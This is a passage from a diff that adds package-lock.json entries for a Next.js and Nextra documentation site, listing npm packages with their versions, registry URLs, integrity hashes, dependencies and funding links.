"2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + }, + "node_modules/nanoid": { + "version": "3.3.7", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.7.tgz", + "integrity": "sha512-eSRppjcPIatRIMC1U6UngP8XFcz8MQWGQdt1MTBQ7NaAmvXDfvNxbvWV3x2y6CdEUciCSsDHDQZbhYaB8QEo2g==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, + "node_modules/next": { + "version": "13.5.6", + "resolved": "https://registry.npmjs.org/next/-/next-13.5.6.tgz", + "integrity": "sha512-Y2wTcTbO4WwEsVb4A8VSnOsG1I9ok+h74q0ZdxkwM3EODqrs4pasq7O0iUxbcS9VtWMicG7f3+HAj0r1+NtKSw==", + "dependencies": { + "@next/env": "13.5.6", + "@swc/helpers": "0.5.2", + "busboy": "1.6.0", + "caniuse-lite": "^1.0.30001406", + "postcss": "8.4.31", + "styled-jsx": "5.1.1", + "watchpack": "2.4.0" + }, + "bin": { + "next": "dist/bin/next" + }, + "engines": { + "node": ">=16.14.0" + }, + "optionalDependencies": { + "@next/swc-darwin-arm64": "13.5.6", + "@next/swc-darwin-x64": "13.5.6", + "@next/swc-linux-arm64-gnu": "13.5.6", + "@next/swc-linux-arm64-musl": "13.5.6", + "@next/swc-linux-x64-gnu": "13.5.6", + "@next/swc-linux-x64-musl": "13.5.6", + "@next/swc-win32-arm64-msvc": "13.5.6", + "@next/swc-win32-ia32-msvc": "13.5.6", + "@next/swc-win32-x64-msvc": "13.5.6" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.1.0", + "react": "^18.2.0", + "react-dom": "^18.2.0", + "sass": "^1.3.0" + }, + "peerDependenciesMeta": { + "@opentelemetry/api": { + "optional": true + }, + "sass": { + "optional": true + } + } + }, + "node_modules/next-mdx-remote": { + "version": "4.4.1", + "resolved": "https://registry.npmjs.org/next-mdx-remote/-/next-mdx-remote-4.4.1.tgz", + "integrity": "sha512-1BvyXaIou6xy3XoNF4yaMZUCb6vD2GTAa5ciOa6WoO+gAUTYsb1K4rI/HSC2ogAWLrb/7VSV52skz07vOzmqIQ==", + "dependencies": { + "@mdx-js/mdx": "^2.2.1", + "@mdx-js/react": "^2.2.1", + "vfile": "^5.3.0", + "vfile-matter": "^3.0.1" + }, + "engines": { + "node": ">=14", + "npm": ">=7" + }, + "peerDependencies": { + "react": ">=16.x <=18.x", + "react-dom": ">=16.x <=18.x" + } + }, + "node_modules/next-seo": { + "version": "6.5.0", + "resolved": "https://registry.npmjs.org/next-seo/-/next-seo-6.5.0.tgz", + "integrity": "sha512-MfzUeWTN/x/rsKp/1n0213eojO97lIl0unxqbeCY+6pAucViHDA8GSLRRcXpgjsSmBxfCFdfpu7LXbt4ANQoNQ==", + "peerDependencies": { + "next": "^8.1.1-canary.54 || >=9.0.0", + "react": ">=16.0.0", + "react-dom": ">=16.0.0" + } + }, + "node_modules/next-themes": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/next-themes/-/next-themes-0.2.1.tgz", + "integrity": "sha512-B+AKNfYNIzh0vqQQKqQItTS8evEouKD7H5Hj3kmuPERwddR2TxvDSFZuTj6T7Jfn1oyeUyJMydPl1Bkxkh0W7A==", + "peerDependencies": { + "next": "*", + "react": "*", + "react-dom": "*" + } + }, + "node_modules/nextra": { + "version": "2.13.4", + "resolved": "https://registry.npmjs.org/nextra/-/nextra-2.13.4.tgz", + "integrity": "sha512-7of2rSBxuUa3+lbMmZwG9cqgftcoNOVQLTT6Rxf3EhBR9t1EI7b43dted8YoqSNaigdE3j1CoyNkX8N/ZzlEpw==", + "dependencies": { + "@headlessui/react": "^1.7.17", + "@mdx-js/mdx": "^2.3.0", + "@mdx-js/react": "^2.3.0", + "@napi-rs/simple-git": "^0.1.9", + "@theguild/remark-mermaid": "^0.0.5", + "@theguild/remark-npm2yarn": "^0.2.0", + "clsx": "^2.0.0", + "github-slugger": "^2.0.0", + "graceful-fs": "^4.2.11", + "gray-matter": "^4.0.3", + "katex": "^0.16.9", + "lodash.get": "^4.4.2", + "next-mdx-remote": "^4.2.1", + "p-limit": "^3.1.0", + "rehype-katex": "^7.0.0", + "rehype-pretty-code": "0.9.11", + "rehype-raw": "^7.0.0", + "remark-gfm": "^3.0.1", + "remark-math": "^5.1.1", + "remark-reading-time": "^2.0.1", + "shiki": "^0.14.3", + "slash": "^3.0.0", + "title": "^3.5.3", + "unist-util-remove": "^4.0.0", + "unist-util-visit": "^5.0.0", + "zod": "^3.22.3" + }, + "engines": { + "node": ">=16" + }, + "peerDependencies": { + "next": ">=9.5.3", + "react": ">=16.13.1", + "react-dom": ">=16.13.1" + } + }, + "node_modules/nextra-theme-docs": { + "version": "2.13.4", + "resolved": "https://registry.npmjs.org/nextra-theme-docs/-/nextra-theme-docs-2.13.4.tgz", + "integrity": "sha512-2XOoMfwBCTYBt8ds4ZHftt9Wyf2XsykiNo02eir/XEYB+sGeUoE77kzqfidjEOKCSzOHYbK9BDMcg2+B/2vYRw==", + "dependencies": { + "@headlessui/react": "^1.7.17", + "@popperjs/core": "^2.11.8", + "clsx": "^2.0.0", + "escape-string-regexp": "^5.0.0", + "flexsearch": "^0.7.31", + "focus-visible": "^5.2.0", + "git-url-parse": "^13.1.0", + "intersection-observer": "^0.12.2", + "match-sorter": "^6.3.1", + "next-seo": "^6.0.0", + "next-themes": "^0.2.1", + "scroll-into-view-if-needed": "^3.1.0", + "zod": "^3.22.3" + }, + "peerDependencies": { + "next": ">=9.5.3", + "nextra": "2.13.4", + "react": ">=16.13.1", + "react-dom": ">=16.13.1" + } + }, + "node_modules/non-layered-tidy-tree-layout": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/non-layered-tidy-tree-layout/-/non-layered-tidy-tree-layout-2.0.2.tgz", + "integrity": "sha512-gkXMxRzUH+PB0ax9dUN0yYF0S25BqeAYqhgMaLUFmpXLEk7Fcu8f4emJuOAY0V8kjDICxROIKsTAKsV/v355xw==" + }, + "node_modules/npm-run-path": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-2.0.2.tgz", + "integrity": "sha512-lJxZYlT4DW/bRUtFh1MQIWqmLwQfAxnqWG4HhEdjMlkrJYnJn0Jrr2u3mgxqaWsdiBc76TYkTG/mhrnYTuzfHw==", + "dependencies": { + "path-key": "^2.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/npm-to-yarn": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/npm-to-yarn/-/npm-to-yarn-2.2.1.tgz", + "integrity": "sha512-O/j/ROyX0KGLG7O6Ieut/seQ0oiTpHF2tXAcFbpdTLQFiaNtkyTXXocM1fwpaa60dg1qpWj0nHlbNhx6qwuENQ==", + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/nebrelbug/npm-to-yarn?sponsor=1" + } + }, + "node_modules/p-finally": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/p-finally/-/p-finally-1.0.0.tgz", + "integrity": "sha512-LICb2p9CB7FS+0eR1oqWnHhp0FljGLZCWBE9aix0Uye9W8LTQPwMTYVGWQWIw9RdQiDg4+epXQODwIYJtSJaow==", + "engines": { + "node": ">=4" + } + }, + "node_modules/p-limit": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", + "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", + "dependencies": { + "yocto-queue": "^0.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/parse-entities": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/parse-entities/-/parse-entities-4.0.1.tgz", + "integrity": "sha512-SWzvYcSJh4d/SGLIOQfZ/CoNv6BTlI6YEQ7Nj82oDVnRpwe/Z/F1EMx42x3JAOwGBlCjeCH0BRJQbQ/opHL17w==", + "dependencies": { + "@types/unist": "^2.0.0", + "character-entities": "^2.0.0", + "character-entities-legacy": "^3.0.0", + "character-reference-invalid": "^2.0.0", + "decode-named-character-reference": "^1.0.0", + "is-alphanumerical": "^2.0.0", + "is-decimal": "^2.0.0", + "is-hexadecimal": "^2.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/parse-numeric-range": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/parse-numeric-range/-/parse-numeric-range-1.3.0.tgz", + "integrity": "sha512-twN+njEipszzlMJd4ONUYgSfZPDxgHhT9Ahed5uTigpQn90FggW4SA/AIPq/6a149fTbE9qBEcSwE3FAEp6wQQ==" + }, + "node_modules/parse-path": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/parse-path/-/parse-path-7.0.0.tgz", + "integrity": "sha512-Euf9GG8WT9CdqwuWJGdf3RkUcTBArppHABkO7Lm8IzRQp0e2r/kkFnmhu4TSK30Wcu5rVAZLmfPKSBBi9tWFog==", + "dependencies": { + "protocols": "^2.0.0" + } + }, + "node_modules/parse-url": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/parse-url/-/parse-url-8.1.0.tgz", + "integrity": "sha512-xDvOoLU5XRrcOZvnI6b8zA6n9O9ejNk/GExuz1yBuWUGn9KA97GI6HTs6u02wKara1CeVmZhH+0TZFdWScR89w==", + "dependencies": { + "parse-path": "^7.0.0" + } + }, + "node_modules/parse5": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/parse5/-/parse5-7.1.2.tgz", + "integrity": "sha512-Czj1WaSVpaoj0wbhMzLmWD69anp2WH7FXMB9n1Sy8/ZFF9jolSQVMu1Ij5WIyGmcBmhk7EOndpO4mIpihVqAXw==", + "dependencies": { + "entities": "^4.4.0" + }, + "funding": { + "url": "https://github.com/inikulin/parse5?sponsor=1" + } + }, + "node_modules/path-key": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-2.0.1.tgz", + "integrity": "sha512-fEHGKCSmUSDPv4uoj8AlD+joPlq3peND+HRYyxFz4KPw4z926S/b8rIuFs2FYJg3BwsxJf6A9/3eIdLaYC+9Dw==", + "engines": { + "node": ">=4" + } + }, + "node_modules/periscopic": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/periscopic/-/periscopic-3.1.0.tgz", + "integrity": "sha512-vKiQ8RRtkl9P+r/+oefh25C3fhybptkHKCZSPlcXiJux2tJF55GnEj3BVn4A5gKfq9NWWXXrxkHBwVPUfH0opw==", + "dependencies": { + "@types/estree": "^1.0.0", + "estree-walker": "^3.0.0", + "is-reference": "^3.0.0" + } + }, + "node_modules/picocolors": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.0.0.tgz", + "integrity": "sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ==" + }, + "node_modules/postcss": { + "version": "8.4.31", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.4.31.tgz", + "integrity": "sha512-PS08Iboia9mts/2ygV3eLpY5ghnUcfLV/EXTOW1E2qYxJKGGBUtNjN76FYHnMs36RmARn41bC0AZmn+rR0OVpQ==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/postcss" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "dependencies": { + "nanoid": "^3.3.6", + "picocolors": "^1.0.0", + "source-map-js": "^1.0.2" + }, + "engines": { + "node": "^10 || ^12 || >=14" + } + }, + "node_modules/property-information": { + "version": "6.4.1", + "resolved": "https://registry.npmjs.org/property-information/-/property-information-6.4.1.tgz", + "integrity": "sha512-OHYtXfu5aI2sS2LWFSN5rgJjrQ4pCy8i1jubJLe2QvMF8JJ++HXTUIVWFLfXJoaOfvYYjk2SN8J2wFUWIGXT4w==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/protocols": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/protocols/-/protocols-2.0.1.tgz", + "integrity": "sha512-/XJ368cyBJ7fzLMwLKv1e4vLxOju2MNAIokcr7meSaNcVbWz/CPcW22cP04mwxOErdA5mwjA8Q6w/cdAQxVn7Q==" + }, + "node_modules/pseudomap": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/pseudomap/-/pseudomap-1.0.2.tgz", + "integrity": "sha512-b/YwNhb8lk1Zz2+bXXpS/LK9OisiZZ1SNsSLxN1x2OXVEhW2Ckr/7mWE5vrC1ZTiJlD9g19jWszTmJsB+oEpFQ==" + }, + "node_modules/react": { + "version": "18.2.0", + "resolved": "https://registry.npmjs.org/react/-/react-18.2.0.tgz", + "integrity": "sha512-/3IjMdb2L9QbBdWiW5e3P2/npwMBaU9mHCSCUzNln0ZCYbcfTsGbTJrU/kGemdH2IWmB2ioZ+zkxtmq6g09fGQ==", + "dependencies": { + "loose-envify": "^1.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/react-dom": { + "version": "18.2.0", + "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-18.2.0.tgz", + "integrity": "sha512-6IMTriUmvsjHUjNtEDudZfuDQUoWXVxKHhlEGSk81n4YFS+r/Kl99wXiwlVXtPBtJenozv2P+hxDsw9eA7Xo6g==", + "dependencies": { + "loose-envify": "^1.1.0", + "scheduler": "^0.23.0" + }, + "peerDependencies": { + "react": "^18.2.0" + } + }, + "node_modules/reading-time": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/reading-time/-/reading-time-1.5.0.tgz", + "integrity": "sha512-onYyVhBNr4CmAxFsKS7bz+uTLRakypIe4R+5A824vBSkQy/hB3fZepoVEf8OVAxzLvK+H/jm9TzpI3ETSm64Kg==" + }, + "node_modules/regenerator-runtime": { + "version": "0.14.1", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.14.1.tgz", + "integrity": "sha512-dYnhHh0nJoMfnkZs6GmmhFknAGRrLznOu5nc9ML+EJxGvrx6H7teuevqVqCuPcPK//3eDrrjQhehXVx9cnkGdw==" + }, + "node_modules/rehype-katex": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/rehype-katex/-/rehype-katex-7.0.0.tgz", + "integrity": "sha512-h8FPkGE00r2XKU+/acgqwWUlyzve1IiOKwsEkg4pDL3k48PiE0Pt+/uLtVHDVkN1yA4iurZN6UES8ivHVEQV6Q==", + "dependencies": { + "@types/hast": "^3.0.0", + "@types/katex": "^0.16.0", + "hast-util-from-html-isomorphic": "^2.0.0", + "hast-util-to-text": "^4.0.0", + "katex": "^0.16.0", + "unist-util-visit-parents": "^6.0.0", + "vfile": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/rehype-katex/node_modules/@types/hast": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@types/hast/-/hast-3.0.4.tgz", + "integrity": "sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ==", + "dependencies": { + "@types/unist": "*" + } + }, + "node_modules/rehype-katex/node_modules/@types/unist": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.2.tgz", + "integrity": "sha512-dqId9J8K/vGi5Zr7oo212BGii5m3q5Hxlkwy3WpYuKPklmBEvsbMYYyLxAQpSffdLl/gdW0XUpKWFvYmyoWCoQ==" + }, + "node_modules/rehype-katex/node_modules/unist-util-stringify-position": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/unist-util-stringify-position/-/unist-util-stringify-position-4.0.0.tgz", + "integrity": "sha512-0ASV06AAoKCDkS2+xw5RXJywruurpbC4JZSm7nr7MOt1ojAzvyyaO+UxZf18j8FCF6kmzCZKcAgN/yu2gm2XgQ==", + "dependencies": { + "@types/unist": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/rehype-katex/node_modules/vfile": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/vfile/-/vfile-6.0.1.tgz", + "integrity": "sha512-1bYqc7pt6NIADBJ98UiG0Bn/CHIVOoZ/IyEkqIruLg0mE1BKzkOXY2D6CSqQIcKqgadppE5lrxgWXJmXd7zZJw==", + "dependencies": { + "@types/unist": "^3.0.0", + "unist-util-stringify-position": "^4.0.0", + "vfile-message": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/rehype-pretty-code": { + "version": "0.9.11", + "resolved": "https://registry.npmjs.org/rehype-pretty-code/-/rehype-pretty-code-0.9.11.tgz", + "integrity": "sha512-Eq90eCYXQJISktfRZ8PPtwc5SUyH6fJcxS8XOMnHPUQZBtC6RYo67gGlley9X2nR8vlniPj0/7oCDEYHKQa/oA==", + "dependencies": { + "@types/hast": "^2.0.0", + "hash-obj": "^4.0.0", + "parse-numeric-range": "^1.3.0" + }, + "engines": { + "node": ">=16" + }, + "peerDependencies": { + "shiki": "*" + } + }, + "node_modules/rehype-raw": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/rehype-raw/-/rehype-raw-7.0.0.tgz", + "integrity": "sha512-/aE8hCfKlQeA8LmyeyQvQF3eBiLRGNlfBJEvWH7ivp9sBqs7TNqBL5X3v157rM4IFETqDnIOO+z5M/biZbo9Ww==", + "dependencies": { + "@types/hast": "^3.0.0", + "hast-util-raw": "^9.0.0", + "vfile": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/rehype-raw/node_modules/@types/hast": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@types/hast/-/hast-3.0.4.tgz", + "integrity": "sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ==", + "dependencies": { + "@types/unist": "*" + } + }, + "node_modules/rehype-raw/node_modules/@types/unist": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.2.tgz", + "integrity": "sha512-dqId9J8K/vGi5Zr7oo212BGii5m3q5Hxlkwy3WpYuKPklmBEvsbMYYyLxAQpSffdLl/gdW0XUpKWFvYmyoWCoQ==" + }, + "node_modules/rehype-raw/node_modules/unist-util-stringify-position": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/unist-util-stringify-position/-/unist-util-stringify-position-4.0.0.tgz", + "integrity": "sha512-0ASV06AAoKCDkS2+xw5RXJywruurpbC4JZSm7nr7MOt1ojAzvyyaO+UxZf18j8FCF6kmzCZKcAgN/yu2gm2XgQ==", + "dependencies": { + "@types/unist": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/rehype-raw/node_modules/vfile": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/vfile/-/vfile-6.0.1.tgz", + "integrity": "sha512-1bYqc7pt6NIADBJ98UiG0Bn/CHIVOoZ/IyEkqIruLg0mE1BKzkOXY2D6CSqQIcKqgadppE5lrxgWXJmXd7zZJw==", + "dependencies": { + "@types/unist": "^3.0.0", + "unist-util-stringify-position": "^4.0.0", + "vfile-message": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/remark-gfm": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/remark-gfm/-/remark-gfm-3.0.1.tgz", + "integrity": "sha512-lEFDoi2PICJyNrACFOfDD3JlLkuSbOa5Wd8EPt06HUdptv8Gn0bxYTdbU/XXQ3swAPkEaGxxPN9cbnMHvVu1Ig==", + "dependencies": { + "@types/mdast": "^3.0.0", + "mdast-util-gfm": "^2.0.0", + "micromark-extension-gfm": "^2.0.0", + "unified": "^10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/remark-math": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/remark-math/-/remark-math-5.1.1.tgz", + "integrity": "sha512-cE5T2R/xLVtfFI4cCePtiRn+e6jKMtFDR3P8V3qpv8wpKjwvHoBA4eJzvX+nVrnlNy0911bdGmuspCSwetfYHw==", + "dependencies": { + "@types/mdast": "^3.0.0", + "mdast-util-math": "^2.0.0", + "micromark-extension-math": "^2.0.0", + "unified": "^10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/remark-mdx": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/remark-mdx/-/remark-mdx-2.3.0.tgz", + "integrity": "sha512-g53hMkpM0I98MU266IzDFMrTD980gNF3BJnkyFcmN+dD873mQeD5rdMO3Y2X+x8umQfbSE0PcoEDl7ledSA+2g==", + "dependencies": { + "mdast-util-mdx": "^2.0.0", + "micromark-extension-mdxjs": "^1.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/remark-parse": { + "version": "10.0.2", + "resolved": "https://registry.npmjs.org/remark-parse/-/remark-parse-10.0.2.tgz", + "integrity": "sha512-3ydxgHa/ZQzG8LvC7jTXccARYDcRld3VfcgIIFs7bI6vbRSxJJmzgLEIIoYKyrfhaY+ujuWaf/PJiMZXoiCXgw==", + "dependencies": { + "@types/mdast": "^3.0.0", + "mdast-util-from-markdown": "^1.0.0", + "unified": "^10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/remark-reading-time": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/remark-reading-time/-/remark-reading-time-2.0.1.tgz", + "integrity": "sha512-fy4BKy9SRhtYbEHvp6AItbRTnrhiDGbqLQTSYVbQPGuRCncU1ubSsh9p/W5QZSxtYcUXv8KGL0xBgPLyNJA1xw==", + "dependencies": { + "estree-util-is-identifier-name": "^2.0.0", + "estree-util-value-to-estree": "^1.3.0", + "reading-time": "^1.3.0", + "unist-util-visit": "^3.1.0" + } + }, + "node_modules/remark-reading-time/node_modules/unist-util-visit": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/unist-util-visit/-/unist-util-visit-3.1.0.tgz", + "integrity": "sha512-Szoh+R/Ll68QWAyQyZZpQzZQm2UPbxibDvaY8Xc9SUtYgPsDzx5AWSk++UUt2hJuow8mvwR+rG+LQLw+KsuAKA==", + "dependencies": { + "@types/unist": "^2.0.0", + "unist-util-is": "^5.0.0", + "unist-util-visit-parents": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/remark-reading-time/node_modules/unist-util-visit-parents": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/unist-util-visit-parents/-/unist-util-visit-parents-4.1.1.tgz", + "integrity": "sha512-1xAFJXAKpnnJl8G7K5KgU7FY55y3GcLIXqkzUj5QF/QVP7biUm0K0O2oqVkYsdjzJKifYeWn9+o6piAK2hGSHw==", + "dependencies": { + "@types/unist": "^2.0.0", + "unist-util-is": "^5.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/remark-rehype": { + "version": "10.1.0", + "resolved": "https://registry.npmjs.org/remark-rehype/-/remark-rehype-10.1.0.tgz", + "integrity": "sha512-EFmR5zppdBp0WQeDVZ/b66CWJipB2q2VLNFMabzDSGR66Z2fQii83G5gTBbgGEnEEA0QRussvrFHxk1HWGJskw==", + "dependencies": { + "@types/hast": "^2.0.0", + "@types/mdast": "^3.0.0", + "mdast-util-to-hast": "^12.1.0", + "unified": "^10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/remark-rehype/node_modules/mdast-util-to-hast": { + "version": "12.3.0", + "resolved": "https://registry.npmjs.org/mdast-util-to-hast/-/mdast-util-to-hast-12.3.0.tgz", + "integrity": "sha512-pits93r8PhnIoU4Vy9bjW39M2jJ6/tdHyja9rrot9uujkN7UTU9SDnE6WNJz/IGyQk3XHX6yNNtrBH6cQzm8Hw==", + "dependencies": { + "@types/hast": "^2.0.0", + "@types/mdast": "^3.0.0", + "mdast-util-definitions": "^5.0.0", + "micromark-util-sanitize-uri": "^1.1.0", + "trim-lines": "^3.0.0", + "unist-util-generated": "^2.0.0", + "unist-util-position": "^4.0.0", + "unist-util-visit": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/remark-rehype/node_modules/unist-util-visit": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/unist-util-visit/-/unist-util-visit-4.1.2.tgz", + "integrity": "sha512-MSd8OUGISqHdVvfY9TPhyK2VdUrPgxkUtWSuMHF6XAAFuL4LokseigBnZtPnJMu+FbynTkFNnFlyjxpVKujMRg==", + "dependencies": { + "@types/unist": "^2.0.0", + "unist-util-is": "^5.0.0", + "unist-util-visit-parents": "^5.1.1" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/remark-rehype/node_modules/unist-util-visit-parents": { + "version": "5.1.3", + "resolved": "https://registry.npmjs.org/unist-util-visit-parents/-/unist-util-visit-parents-5.1.3.tgz", + "integrity": "sha512-x6+y8g7wWMyQhL1iZfhIPhDAs7Xwbn9nRosDXl7qoPTSCy0yNxnKc+hWokFifWQIDGi154rdUqKvbCa4+1kLhg==", + "dependencies": { + "@types/unist": "^2.0.0", + "unist-util-is": "^5.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/remove-accents": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/remove-accents/-/remove-accents-0.5.0.tgz", + "integrity": "sha512-8g3/Otx1eJaVD12e31UbJj1YzdtVvzH85HV7t+9MJYk/u3XmkOUJ5Ys9wQrf9PCPK8+xn4ymzqYCiZl6QWKn+A==" + }, + "node_modules/robust-predicates": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/robust-predicates/-/robust-predicates-3.0.2.tgz", + "integrity": "sha512-IXgzBWvWQwE6PrDI05OvmXUIruQTcoMDzRsOd5CDvHCVLcLHMTSYvOK5Cm46kWqlV3yAbuSpBZdJ5oP5OUoStg==" + }, + "node_modules/rw": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/rw/-/rw-1.3.3.tgz", + "integrity": "sha512-PdhdWy89SiZogBLaw42zdeqtRJ//zFd2PgQavcICDUgJT5oW10QCRKbJ6bg4r0/UY2M6BWd5tkxuGFRvCkgfHQ==" + }, + "node_modules/sade": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/sade/-/sade-1.8.1.tgz", + "integrity": "sha512-xal3CZX1Xlo/k4ApwCFrHVACi9fBqJ7V+mwhBsuf/1IOKbBy098Fex+Wa/5QMubw09pSZ/u8EY8PWgevJsXp1A==", + "dependencies": { + "mri": "^1.1.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" + }, + "node_modules/scheduler": { + "version": "0.23.0", + "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.23.0.tgz", + "integrity": "sha512-CtuThmgHNg7zIZWAXi3AsyIzA3n4xx7aNyjwC2VJldO2LMVDhFK+63xGqq6CsJH4rTAt6/M+N4GhZiDYPx9eUw==", + "dependencies": { + "loose-envify": "^1.1.0" + } + }, + "node_modules/scroll-into-view-if-needed": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/scroll-into-view-if-needed/-/scroll-into-view-if-needed-3.1.0.tgz", + "integrity": "sha512-49oNpRjWRvnU8NyGVmUaYG4jtTkNonFZI86MmGRDqBphEK2EXT9gdEUoQPZhuBM8yWHxCWbobltqYO5M4XrUvQ==", + "dependencies": { + "compute-scroll-into-view": "^3.0.2" + } + }, + "node_modules/section-matter": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/section-matter/-/section-matter-1.0.0.tgz", + "integrity": "sha512-vfD3pmTzGpufjScBh50YHKzEu2lxBWhVEHsNGoEXmCmn2hKGfeNLYMzCJpe8cD7gqX7TJluOVpBkAequ6dgMmA==", + "dependencies": { + "extend-shallow": "^2.0.1", + "kind-of": "^6.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/shebang-command": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-1.2.0.tgz", + "integrity": "sha512-EV3L1+UQWGor21OmnvojK36mhg+TyIKDh3iFBKBohr5xeXIhNBcx8oWdgkTEEQ+BEFFYdLRuqMfd5L84N1V5Vg==", + "dependencies": { + "shebang-regex": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/shebang-regex": { + "version": "1.0.0", + "resolved": 